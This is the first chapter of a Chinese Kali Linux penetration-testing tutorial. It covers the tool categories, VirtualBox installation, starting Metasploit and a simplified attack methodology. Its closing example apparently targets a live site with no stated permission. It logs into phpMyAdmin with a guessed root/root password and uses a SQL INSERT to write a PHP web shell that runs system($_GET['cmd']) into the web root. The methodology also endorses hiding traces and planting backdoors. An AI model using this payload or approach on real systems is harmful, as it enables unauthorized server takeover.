Kali Linux滲透測試實戰 第一章
作者部落格:http://www.xuanhun521.com/
1.1 Kali Linux簡介
如果您之前使用過或者瞭解BackTrack系列Linux的話,那麼我只需要簡單的說,Kali是BackTrack的升級換代產品,從Kali開始,BackTrack將成為歷史。
如果您沒接觸過BackTrack也沒關係,我們從頭開始瞭解Kali Linux。
按照官方網站的定義,Kali Linux是一個高階滲透測試和安全審計Linux發行版。作為使用者,我簡單的把它理解為,一個特殊的Linux發行版,整合了精心挑選的滲透測試和安全審計的工具,供滲透測試和安全設計人員使用。也可稱之為平臺或者框架。
Kali Linux
作為Linux發行版,Kali Linux是在BackTrack Linux的基礎上,遵循Debian開發標準,進行了完全重建。並且設計成單使用者登入,root許可權,預設禁用網路服務。
關於系統特性,定製,在不同裝置上的安裝,請在Kali Linux官網上查閱,http://www.kali.org/。官網上還有一份中文版的說明文件,但是我總覺得要麼是自動翻譯的,要麼是外國人自行翻譯的,讀起來非常不通順,但是仍然可作為參考,見http://cn.docs.kali.org/。
中文文件
因為本書的核心內容是滲透測試,Kali Linux只是平臺,更多的關於系統本身的內容不會詳細介紹。下面我們來看看Kali自帶的工具集,介紹完這些工具,相信你也就瞭解了Kali Linux的功能。
上圖是安裝完Kali Linux(在下一節,會簡單介紹虛擬機器下Kali Linux的安裝和配置)系統自帶的工具集。最頂層是十佳安全工具,這些工具都被包含在下面的工具分類中。
Kali Linux將所帶的工具集劃分為十四個大類,這些大類中,很多工具是重複出現的,因為這些工具同時具有多種功能,比如nmap既能作為資訊蒐集工具也能作為漏洞探測工具。其中大部分工具的使用,都會在之後的章節中做介紹和例項演示。另外,這裡介紹的工具都是系統預設推薦的工具,我們也可以自行新增新的工具源,豐富工具集。根據筆者的經驗,絕大多數情況下,系統推薦的工具已經足夠使用了。一些專用工具,會在特定的測試場景下被引入,在後續章節中會詳細說明。
資訊蒐集
資訊蒐集工具集又分為DNS分析、IDS/IPS識別、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主機識別、電話分析、服務指紋識別、流浪分析、路由分析、情報分析、系統指紋識別共15個小分類。
資訊蒐集工具分類
DNS分析包含dnsdict6、dnsenum等12個工具,如下圖。
Dns分析工具
IDS/IPS識別包含fragrout、fragrouter、ftest、lbd、wafwOOf四個工具。
IDS/IPS識別工具
擴充套件---|||||IDS/IPS
IDS(intrusion detection system),即入侵檢測系統。是一種對網路傳輸進行即時監視,在發現可疑傳輸時發出警報或者採取主動反應措施的網路安全裝置。它與其他網路安全裝置的不同之處便在於,IDS是一種積極主動的安全防護技術。
IPS(Intrusion Prevention System)即入侵防禦系統。IPS位於防火牆和網路的裝置之間。這樣,如果檢測到攻擊,IPS會在這種攻擊擴散到網路的其它地方之前阻止這個惡意的通訊。
二者的區別:
入侵檢測系統注重的是網路安全狀況的監管。入侵防禦系統關注的是對入侵行為的控制。
入侵檢測系統需要部署在網路內部的中心點,需要能夠觀察到所有網路資料。入侵防禦系統需要部署在網路的邊界。
入侵檢測系統的核心價值在於透過對全網資訊的分析,瞭解資訊系統的安全狀況,進而指導資訊系統安全建設目標以及安全策略的確立和調整,而入侵防禦系統的核心價值在於安全策略的實施—對駭客行為的阻擊;入侵檢測系統需要部署在網路內部,監控範圍可以覆蓋整個子網,包括來自外部的資料以及內部終端之間傳輸的資料,入侵防禦系統則必須部署在網路邊界,抵禦來自外部的入侵,對內部攻擊行為無能為力。
參考:http://security.zdnet.com.cn/security_zone/2009/0412/1362627.shtml
smb分析包含如下工具:
擴充套件---|||||smb協議
MB簡介SMB是Server Message Block的簡寫,這個協議用於共享檔案,共享印表機,共享串列埠等用途。我們之所以能夠在windows的網路鄰居下訪問一個域內的其他機器,就是透過這個協議實現的。SMB 協議是一個很重要的協議,目前絕大多數的PC上都在執行這一協議,windows系統都充當著SMB協議的客戶端和伺服器,所以SMB是一個遵循客戶機服/務器模式的協議。SMB伺服器負責透過網路提供可用的共享資源給SMB客戶機,伺服器和客戶機之間透過TCP/IP協議、或者IPX協議、或者是 NetBEUI進行連線。
參考:http://msdn.microsoft.com/en-us/library/cc246231.aspx
smtp分析包含如下工具:
smtp分析工具
snmp分析報告如下工具:
SSL分析包含如下工具:
VoIP分析包含如下工具:
擴充套件—VoIP簡介
VoIP是 Voice over Internet Protocol的縮寫,指的是將模擬的聲音訊號經過壓縮與封包之後,以資料封包的形式在IP 網路的環境進行語音訊號的傳輸,通俗來說也就是網際網路電話、網路電話或者簡稱IP電話的意思。
參考資料:https://www.cisco.com/application/pdf/en/us/guest/tech/tk587/c1506/ccmigration_09186a008012dd36.pdf
VPN分析只包含一個工具:ike-scan
存活主機識別包含的工具:
伺服器指紋識別包含如下工具:
流量分析包含如下工具:
路由分析包含如下工具:
情報分析包含如下工具:
網路包含如下工具:
系統指紋識別包含如下工具:
擴充套件—指紋識別:
在實際的生產環境中,應用程式返回的軟體、伺服器、作業系統的相關資訊,很有可能是偽裝過的。比如請求一臺apathe伺服器,如果它在http響應中返回的是IIS 6.0的資訊,如果我們簡單的認為它是iis伺服器,並以此為依據繼續接下來的滲透工作,豈不是南轅北轍?指紋識別技術應運而生,向測試對方傳送特殊的請求,根據響應內容的不同來做出正確的識別,這種技術稱之為指紋識別技術。常用的作業系統指紋識別技術為IP協議棧。
連結http://nmap.org/book/osdetect-fingerprint-format.html是Nmap作業系統指紋識別的基本原理
漏洞分析
漏洞分析工具集
漏洞分析工具集,共分為6個小類,分別為Cisco工具集、Fuzzing工具集、OpenVAS、開源評估軟體、掃描工具集、資料庫評估軟體。
Cisco工具集包含如下工具:
Fuzzing工具集下包含如下工具:
擴充套件—Fuzzing
模糊測試 (fuzz testing, fuzzing)是一種軟體測試技術。其核心思想是自動或半自動的生成隨機資料輸入到一個程式中,並監視程式異常,如崩潰,斷言(assertion)失敗,以發現可能的程式錯誤,比如記憶體洩漏。模糊測試常常用於檢測軟體或計算機系統的安全漏洞。
模糊測試工具主要分為兩類,變異測試(mutation-based)以及生成測試(generation-based)。模糊測試可以被用作白盒,灰盒或黑盒測試。3檔案格式與網路協議是最常見的測試目標,但任何程式輸入都可以作為測試物件。常見的輸入有環境變數,滑鼠和鍵盤事件以及API呼叫序列。甚至一些通常不被考慮成輸入的物件也可以被測試,比如資料庫中的資料或共享記憶體。
參考:https://www.owasp.org/index.php/Fuzzing
OpenVAS 包含如下工具:
擴充套件—OpenVAS
OpenVAS是一款開放式的漏洞評估工具,主要用來檢測目標網路或主機的安全性。與安全焦點的X-Scan工具類似,OpenVAS系統也採用了Nessus較早版本的一些開放外掛。OpenVAS能夠基於C/S(客戶端/伺服器),B/S(瀏覽器/伺服器)架構進行工作,管理員透過瀏覽器或者專用客戶端程式來下達掃描任務,伺服器端負載授權,執行掃描操作並提供掃描結果。
開源評估軟體包含如下工具:
掃描工具集包含如下工具:
資料庫評估軟體包含如下工具:
Web程式
Web程式下主要包含CMS識別、IDS/IPS識別、Web漏洞掃描、Web爬行、Web應用代理、Web應用漏洞挖掘、Web庫漏洞利用共7個類別。
密碼攻擊
密碼攻擊主要包括GPU工具集、Passing the Hash、離線攻擊、線上攻擊。
擴充套件—Passing the Hash
Passing the Hash,中文一般翻譯為Hash傳遞攻擊。在windows系統中,系統通常不會儲存使用者登入密碼,而是儲存密碼的Hash值。在我們遠端登入系統的時候,實際上向遠端傳輸的就是密碼的Hash。當攻擊者獲取了儲存在計算機上的使用者名稱和密碼的hash值 的時候,他雖然不知道密碼值,但是仍然可以透過直接連線遠端主機,透過傳送密碼的hash值來達到登入的目的。
無線攻擊
無線攻擊包含RFID/NFC工具集、Software Defined Radio、藍芽工具集、其他無線工具、無線工具集。
擴充套件-- Software Defined Radio
軟體無線電(Software Defined Radio,SDR)是一種實現無線通訊的新概念和體制。一開始應用在軍事領域,在21世紀初,由於眾多公司的努力,使得它已從軍事領域轉向民用領域,成為經濟的、應用廣泛的、全球通訊的第三代行動通訊系統的戰略基礎。
由於無線通訊領域存在的一些問題,如多種通訊體系並存,各種標準競爭激烈,頻率資源緊張等,特別是無線個人通訊系統的發展,使得新的系統層出不窮,產品生產週期越來越短,原有的以硬體為主的無線通訊體制難以適應這種局面,迫使軟體無線電的概念的出現。它的出現,使無線通訊的發展經歷了由固定到移動,由模擬到數字,由硬體到軟體的三次變革。
參考:http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5
漏洞利用工具集
漏洞利用工具集,主要包含了幾個流行的框架,和其他工具。
BeEF XSS Framework,官方站點http://beefproject.com/。全稱Browser Exploitation Framework,它是專注於 web瀏覽器的滲透測試框架。
Metasploit,官方站點http://www.metasploit.com/。著名的滲透測試框架,是滲透測試人員的必修課。
嗅探/欺騙
嗅探、欺騙 包含VoIP、Web嗅探、網路欺騙、網路嗅探、語言監控五個工具集。
許可權維持
許可權維持包含Tunnel工具集、Web後門、系統後門三個子類。
其中Tunnel工具集包含了一系列用於建立通訊隧道、代理的工具。
逆向工程
逆向工程,包含了Debug工具集、反編譯、其他逆向工具集三個子類。
壓力測試
壓力測試包含VoIP壓力測試、Web壓力測試、網路壓力測試、無線壓力測試四個子類。
硬體Hacking
硬體Hacking包括Android工具集、Arduino工具集兩個子類。
數字取證
數字取證工具集包含PDF取證工具集、反數字取證、密碼取證工具集、記憶體取證工具集、取證分割工具集、取證分析工具集、取證雜湊驗證工具集、取證映象工具集、防毒取證工具集、數字取證、數字取證套件。
報告工具集
報告工具集,主要用於生成、讀取、整理滲透測試報告的工具,包含Domentation、媒體捕捉、證據管理。
系統服務
系統服務是系統上的服務程式,包括BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。
預設情況下,網路和資料庫服務是關閉的,需要重新開啟。
小結
上面對Kali Linux的預設工具集進行的了大致的瀏覽,由於本書只關注於滲透測試,對逆向工程、壓力測試、硬體Hacking、數字取證這些工具不會涉及。
下一節介紹虛擬機器下的系統安裝和簡單配置。
1.2 環境安裝及初始化
在1.1節,我們大致瞭解了Kali Linux的內建工具集,本節主要介紹虛擬機器下的系統安裝。
如果您需要定製或者採用其他方式安裝系統,請參考官方文件,http://cn.docs.kali.org/。官方文件內容大致如下圖:
KaliLinux官方文件(1)
Kali Linux 官方文件(2)
1.2.1 下載映像
在地址http://www.kali.org/downloads/,我們可以看到網站提供32位和64位的ISO映像檔案。
下載映像檔案
根據實際情況選擇你要下載的版本,我下載的是Kali Linux 64 Bit。
1.2.2 安裝虛擬機器
相對於VMWare,個人更喜歡VirtualBox,因為VirtualBox是開源、免費,比VMWare更輕量。
首先到https://www.virtualbox.org/wiki/Downloads下載VirtualBox。我選擇的是VirtualBox 4.3.4 for Windows hosts。
安裝就很簡單了,這裡就不浪費篇幅了。
安裝完成之後,開啟VirtualBox,開始安裝Kali Linux。
1.2.3 安裝Kali Linux
開啟VirtualBox之後,單擊“新建”,開啟新建虛擬機器對話方塊。
新建虛擬機器
名稱隨意填寫,型別選擇Linux,版本選擇Debian或者Debian(64 bit),我安裝64位版本,所以選擇Debian(64 bit)。單擊“下一步”。
配置記憶體大小
記憶體大小,根據自己機器的記憶體選擇配置就可以了,這裡採用預設值。
下一步,配置虛擬硬碟。
配置虛擬硬碟
選擇新建虛擬硬碟,單擊“建立”。
選擇虛擬硬碟檔案型別
虛擬硬碟檔案型別,選擇VDI型別。下一步。
虛擬硬碟物理儲存
這裡筆者選擇固定大小。下一步,選擇檔案儲存位置,設定磁碟大小。
選擇檔案儲存位置
虛擬磁碟的大小,建議要大於8G,筆者使用預設的8G安裝,結果中途失敗,修改為20G後,安裝成功。開始建立。
經歷一段時間等待(VirtualBox的虛擬磁碟建立速度確實不如VMWare),虛擬磁碟建立完畢。回到VirtualBox主介面,選擇我們建立的虛擬機器。單擊上方的“設定”按鈕。
選擇“儲存”選項卡。
接下來選中光碟機。
配置光碟機,載入安裝映像檔案。在分配光碟機屬性選擇“第一IDE控制器主通道”,載入下載的Kali Linux ISO檔案。
選擇“網路”選項卡,配置為橋接模式。確定。
配置網路為橋接模式
回到主介面,啟動虛擬機器,載入ISO。
選擇“Graphic install”,繼續。
選擇語言為中文簡體。
選擇區域為中國。
配置鍵盤為“漢語”。
開始從光碟載入元件。
探測並配置網路。
配置主機名,根據自己的喜好配置就可以了。
配置域名,如果不在外網,域名隨便配置就可以了。
設定Root賬戶密碼。
配置磁碟分割槽,這裡和接下來的步驟,為簡單起見,我們都選擇非手工方式,選擇“使用整個磁碟”。
只有一個磁碟,繼續。
選擇分割槽方案。
確認分割槽方案。
開始安裝系統。
映像內容安裝完成後,會提醒是否使用網路映像,如果處於聯網狀態,推薦使用,以便獲取更新的內容。
安裝完成後,點選繼續,結束安裝過程。虛擬機器會重啟進入Kali Linux。
1.2.4 安裝中文輸入法
在系統登入介面,選擇你設定的域,輸入使用者名稱“root”,你先前配置好的密碼,登入。
系統預設是沒有中文輸入的,為使用方便,先安裝中文輸入法。
先執行apt-get update
命令
接下來執行
apt-get install fcitx
安裝成功後,執行
apt-get install fcitx-googlepinyin
安裝谷歌拼音輸入法。
重啟系統。
在螢幕頂部可以看到輸入法配置圖示,新建一個文件,用Ctrl+Shift,可以調出輸入法。
1.2.5 安裝VirtualBox增強工具
安裝VirtualBox增強工具之後,虛擬機器和宿主機之間就可以共享目錄、共享剪貼簿了。
首先啟動Kali Linux虛擬機器後,開啟一個終端然執行如下命令來安裝Linux核心標頭檔案。
apt-get update && apt-get install -y linux-headers-$(uname -r)
在虛擬機器內部,按“鍵盤右側的Ctrl+D”,會自動載入增強工具光碟映像,提示是否要自動執行,點選取消。
雙擊桌面上的光碟圖示,開啟後複製VboxLinuxAdditions.run到本地目錄,例如/root/。或者在終端執行以下命令:
cp /media/cd-rom/VBoxLinuxAdditions.run /root/
接下來從終端進入檔案所在目錄,先修改檔案許可權,保證可以被執行。
chmod 755 VBoxLinuxAdditions.run
執行:
./VBoxLinuxAdditions.run
關閉虛擬機器。
1.2.6 配置共享目錄和剪貼簿
在virtualBox中選中虛擬機器,點選“設定”,選擇“共享資料夾”。
新增一個本地目錄。
然後切換到“常規”,選擇“高階”選項卡,配置剪貼簿共享。
啟動虛擬機器。正常情況下,系統啟動會自動掛載共享資料夾,在/media/目錄下。
1.2.7 執行 Metasploit Framework
按照官方文件的說法,“依照Kali Linux網路服務策略,Kali沒有自動啟動的網路服務,包括資料庫服務在內。所以為了讓Metasploit以支援資料庫的方式執行有些必要的步驟”。下面我們按照官方文件的說明,按部就班的操作一下。
啟動Kali的PostgreSQL服務
執行命令:
service postgresql start
使用
ss –ant
檢查PostgreSQL的執行狀態。
如圖,5432埠處於監聽狀態。
啟動Kali的Metasploit服務
執行命令啟動Metasploit服務:
service metasploit start
在Kali執行msfconsole
在終端執行msfconsole
,啟動Metasploit客戶端。
然後在msf終端內,輸入db_status,檢視資料庫狀態。
小結
本節的內容主要是安裝和基礎配置,未涉及具體的工具級別的內容。目前環境準備完畢,是不是萬事具備只欠東風了呢?
在講解具體操作之前,我還是想先講一講有關滲透測試的方法論有關內容。由於本書的核心是實際操作,所以方法論的內容相對於相關書籍會極其簡單,只是一個簡單流程化的梳理。
1.3 滲透測試的一般化流程
凡事預則立,不預則廢,做任何事情都要有一個預先的計劃。滲透測試作為測試學科的一個分支,早已形成了完整的方法論。在正式開始本書的實踐教學章節之前,我也想談一談使用Kali Linux的基本方法。這裡討論方法論的目的有兩個:
第一,在第一節裡,我們看到Kali Linux整合了這麼多工具,而且更令人欣喜的是已經對這些工具進行了專業的分類。這些工具的使用場景和使用階段是什麼樣的呢?把工具拿來胡亂一頓掃描是不會有什麼結果的。
第二,本書的章節規劃,也需要一個規範,這個規範是我從滲透測試方法論中學來的,並進行了簡化,稱之為“滲透測試的一般化流程”。
當然本節內容不會長篇大論,也不適用於企業內部的專業的滲透測試團隊來遵循。只是希望給初學滲透測試的同學一個入門的指引,有章可循,有法可依。只是學習本書的基本練習流程,不是標準的測試流程。
下面這這張圖是《backtrack4 利用滲透測試保證系統安全》一書的Backtrack方法論。
它將滲透測試分成了十個步驟,其中第6步“社會工程學”為可選步驟,但是筆者認為社會工程學在滲透測試的任何一個流程中都有用武之地,它是安全測試的一個方法,不應該成為一個單獨的流程。
在本書中,我們將整個過程劃分為5個步驟。
1.3.1 資訊蒐集
在練習過程中,選擇目標的過程,讀者自行完成。在講解具體漏洞攻擊的章節中,還會講解一些如何快速查詢特定目標的方法。本書假定讀者已經準備好了測試目標才閱讀和實踐書中內容,所以流程的第一步為資訊蒐集。
在這一步中,我們儘可能的使用多種資訊蒐集工具,包括搜尋引擎和社會工程學方法。對能收集到的資訊,來者不拒。
只有建立在足夠資訊分析的基礎上,滲透測試才能遊刃有餘。因為資訊越多,發現漏洞的機率越大。
同時對不同應用的資訊收集的側重點也不同。比如web應用和桌面應用,對於web應用,伺服器作業系統、web伺服器型別、web後臺語言會被首先關注;而對於桌面應用,更多的是關心應用程式本身。
1.3.2 發現漏洞
在蒐集了足夠的資訊之後,首先我們要判斷它會存在哪些漏洞。這可以透過搜尋引擎,和通用的漏洞掃描工具來完成。通常使用搜尋引擎是明智的選擇,比如我們在第一步中知道對方站點的編寫語言為php 5.3.*,可以在google搜尋“php 5.3”漏洞。
很多專業的bug站點的資訊,更值得我們駐足。這樣我們就可以針對性的進行漏洞掃描。此時使用專門的漏洞掃描工具比通用工具來得更實際和高效。
1.3.3 攻擊
基本上,你能得到的漏洞,都可以找到對應的攻擊方法。Kali Linux中也提供了很多現成的工具,來幫助我們順利的攻擊目標。
這一步包含兩個方面,一個是利用現有漏洞利用,一個是提權。二者有時候是一回事,比如許可權漏洞。
滲透測試和以破壞為目的的駭客行為還是有區別的,測試的目的是證明漏洞的存在,而不是搞破壞。所以有時候攻擊成功之後可能測試任務就結束了,當然這和測試目標是緊密相關的。
攻擊還包含一個重要的內容,就是如何隱藏攻擊行為或者清除攻擊痕跡。讓對方無法或者說很難透過反追蹤技術查詢到攻擊者。
1.3.4 許可權維持
許可權維持階段,是我們成功攻破一個系統後,如何繼續保持對系統的控制許可權的問題。
一般會建立高許可權的隱藏賬戶,或者安裝後門程式(包括木馬,病毒)。
1.3.5 文件化
文件化不是本書的強制流程,但是筆者強烈建議我們對每次滲透測試的過程和結果進行文件化處理。這樣會形成知識的積累。當然如果你是專業的滲透測試工程師或者手上有滲透測試的專案,那麼標準化文件是必不可少的。
小結
本節所講解的流程不是標準的滲透測試流程,是本書的教學實踐簡化流程,讀者要區別對待。
下一節,是本章的最後一節,以一個小例子來體驗Kali Linux的滲透測試,來提升大家的興趣。
1.4 小試牛刀
本節作為第一章的最後一節,給大家展示一個滲透測試的簡單示例。該示例操作簡單,環境真實,主要是為了給您一個整體上的感知,同時提升學習滲透測試的興趣。滲透測試的每一步並沒有記錄完整的細節資訊。
首先,我選擇了一個測試站點,下面對該站點www.xxxxoooo.cn,下面對其進行滲透測試。
1.4.1 資訊蒐集
whois查詢
因為是cn域名,直接到http://ewhois.cnnic.net.cn查詢,更方便。
結果如下:
服務指紋識別
很多個人站點,都沒有自定義錯誤資訊的習慣。在url上隨便輸入一個不存在的地址,看是否會返回有用的資訊。
透過上圖,我們知道該站點的應用程式由php編寫,web伺服器為Apathe/2.2.22,作業系統為Ubuntu。
下面我們透過指紋識別工具,進行識別。
在終端啟動nmap,輸入如下命令:
nmap -A -T4 www.xxxxoooo.cn
如圖,識別出來的服務和系統資訊與報錯資訊一致。
埠掃描
在終端執行如下命令,使用nmap的tcp半開掃描方式來掃描開啟的埠。
nmap -sS <targetiste>
綜合性掃描
該站點是需要登入的,所以在非登入情況下,常規掃描一般情況下意義不大。但是做一個基本的站點掃描還是必須的。當然很多工具是支援登入掃描的。
因為是web應用,一般情況下,我們是需要進行完整的web應用的漏洞掃描的。本例項忽略此步驟。
1.4.2 發現漏洞
對於web應用,我們通常從作業系統、服務、應用本身三個方面來挖掘漏洞。
從站點應用上分析,一般的php程式會安裝phpmyadmin元件,用來管理資料庫。google一下,我們就會知道phpmyadmin 預設安裝在站點根目錄下。測試一下當前站點是否也在預設目錄下安裝了phpmyadmin呢?
ok,確實存在phpmyadmin。
繼續google “phpmyadmin 預設使用者名稱密碼”。Googele之後,我們知道:“phpMyAdmin預設使用的是MySQL的帳戶和密碼”。MySql的預設賬戶是root,預設密碼是空,但是phpmyadmin是不允許空密碼的。
繼續 Google“inurl: phpmyadmin”,可以看到很多關於phpmyadmin的文章。
這些文章略過,google“hack phpmyadmin”,看看有什麼發現?
在這篇文章《Hacking PHPMyadmin (when import.php deleted)》(https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到
很多站點都配置預設密碼為root。是不是也可以嘗試下呢?
輸入使用者名稱root,密碼root,奇蹟就這麼出現了,直接登入管理後臺。
進入後臺之後,我們得到了更為詳盡的資訊,為我們下一步攻擊打下了基礎
1.4.3 攻擊與許可權維持
上面的步驟,我們完成了對網站資料庫的攻擊,其實拿到了網站資料庫,就是拿到了整個網站的控制權。
如何利用phpmyadmin進行提權,從而得到伺服器的控制權呢?
目前在phpmyadmin後臺,我們可以操作表,向表中寫資料,如果資料庫有許可權dump資料到web站點所在的資料夾,那麼可以先將一個網馬寫到資料庫再儲存到磁碟本地,再從瀏覽器訪問網馬,是不是就可以了呢?
首先在phpmyadmin後臺找到一個資料庫,在“SQL”選項卡執行sql語句建立一個表“hacker”。
語句執行成功後,再插入一條資料,程式碼很簡單,希望能用php的system函式執行系統指令。
INSERT INTO hacker (packet)
VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'
);
下一步就是儲存插入的記錄到站點目錄下,但是站點的物理路徑是什麼呢?我在觀察頁面請求連結的時候,發現一個404連結。
404連結的路徑是http://www.xxxxx.cn/var/www/productions/22_production.zip。這個是進行網站開發時候常犯的靜態連結的錯誤,那是不是說網站的根目錄在”/var/www”下呢,我把去掉”/var/www”,檔案可以被正常訪問。其實這也是ubuntu預設的站點目錄。接下來就試試有沒有許可權儲存檔案了。
經過一番查詢,終於找到一個有寫許可權的目錄,將網馬寫到web目錄中,得到了webshell,接下來就不用詳解了吧。
小結
這個簡單的小例子,只是想告訴大家,滲透測試有什麼並沒有那麼困難。也沒有哪種方法,哪個工具或者平臺是萬能的,最重要的是你自己的努力和思考。
從下一節開始,我們正式進入滲透測試的學習之旅。
相關文章
- Kali linux滲透測試系列————28、Kali linux 滲透攻擊之社會工程學攻擊2018-05-16Linux
- kali linux 2.0 web 滲透測試 電子書2019-03-04LinuxWeb
- 滲透測試系統kali配置源2022-03-22
- 滲透測試入門實戰2018-11-28
- Linux滲透測試2018-05-31Linux
- 用於黑客滲透測試的 21 個最佳 Kali Linux 工具2019-05-15黑客Linux
- Kali Linux 滲透測試手冊(1.1)安裝虛擬機器2019-01-12Linux虛擬機
- Kali Linux 2024.3 釋出下載 - 領先的滲透測試發行版2024-09-16Linux
- 滲透測試工具實戰技巧合集2018-06-10
- 滲透測試對app安全測試實戰過程分享2020-03-07APP
- linux滲透測試後續指南2018-06-08Linux
- linux滲透測試技巧2則2020-08-19Linux
- 滲透測試實驗二2020-11-21
- 滲透測試是否需要學習Linux2021-05-13Linux
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- 滲透測試公司實戰拿下客戶網站過程2020-12-08網站
- 什麼是滲透測試?為什麼要做滲透測試?2021-08-10
- TPLINK滲透實戰2020-08-19
- 什麼是滲透測試?滲透測試分類方式有哪些?2023-10-17
- 什麼是滲透測試?滲透測試分為哪幾類?2021-08-11
- 滲透測試怎麼做?滲透測試的步驟有哪些?2022-04-08
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?2022-03-18
- Kali Linux 2024.2 釋出 (t64, GNOME 46 & Community Packages) - 領先的滲透測試發行版2024-06-10LinuxUnityPackage
- 滲透測試報告2024-03-22測試報告
- 滲透測試之nmap2020-10-25
- 【滲透測試】Vulnhub DarkHole2024-08-19
- 滲透測試什麼?滲透測試具體操作流程是什麼2022-03-31
- 網路安全滲透測試的型別!滲透測試入門教程2021-08-02型別
- 什麼是滲透測試?滲透測試培訓班如何選擇?2022-11-08
- 什麼是滲透測試?滲透測試的服務方式有哪些?2023-03-29
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 9、Metasploit域滲透測試全程實錄2018-06-11
- 什麼是滲透測試?網站有必要進行滲透測試嗎?2023-09-19網站
- 滲透測試是什麼?滲透測試三種分類主要包括哪些?2022-03-09
- 滲透測試技巧總結2019-03-30
- 網路安全滲透測試2018-06-01
- 滲透測試-資訊收集2024-04-22
- GraphQL滲透測試詳解2023-04-24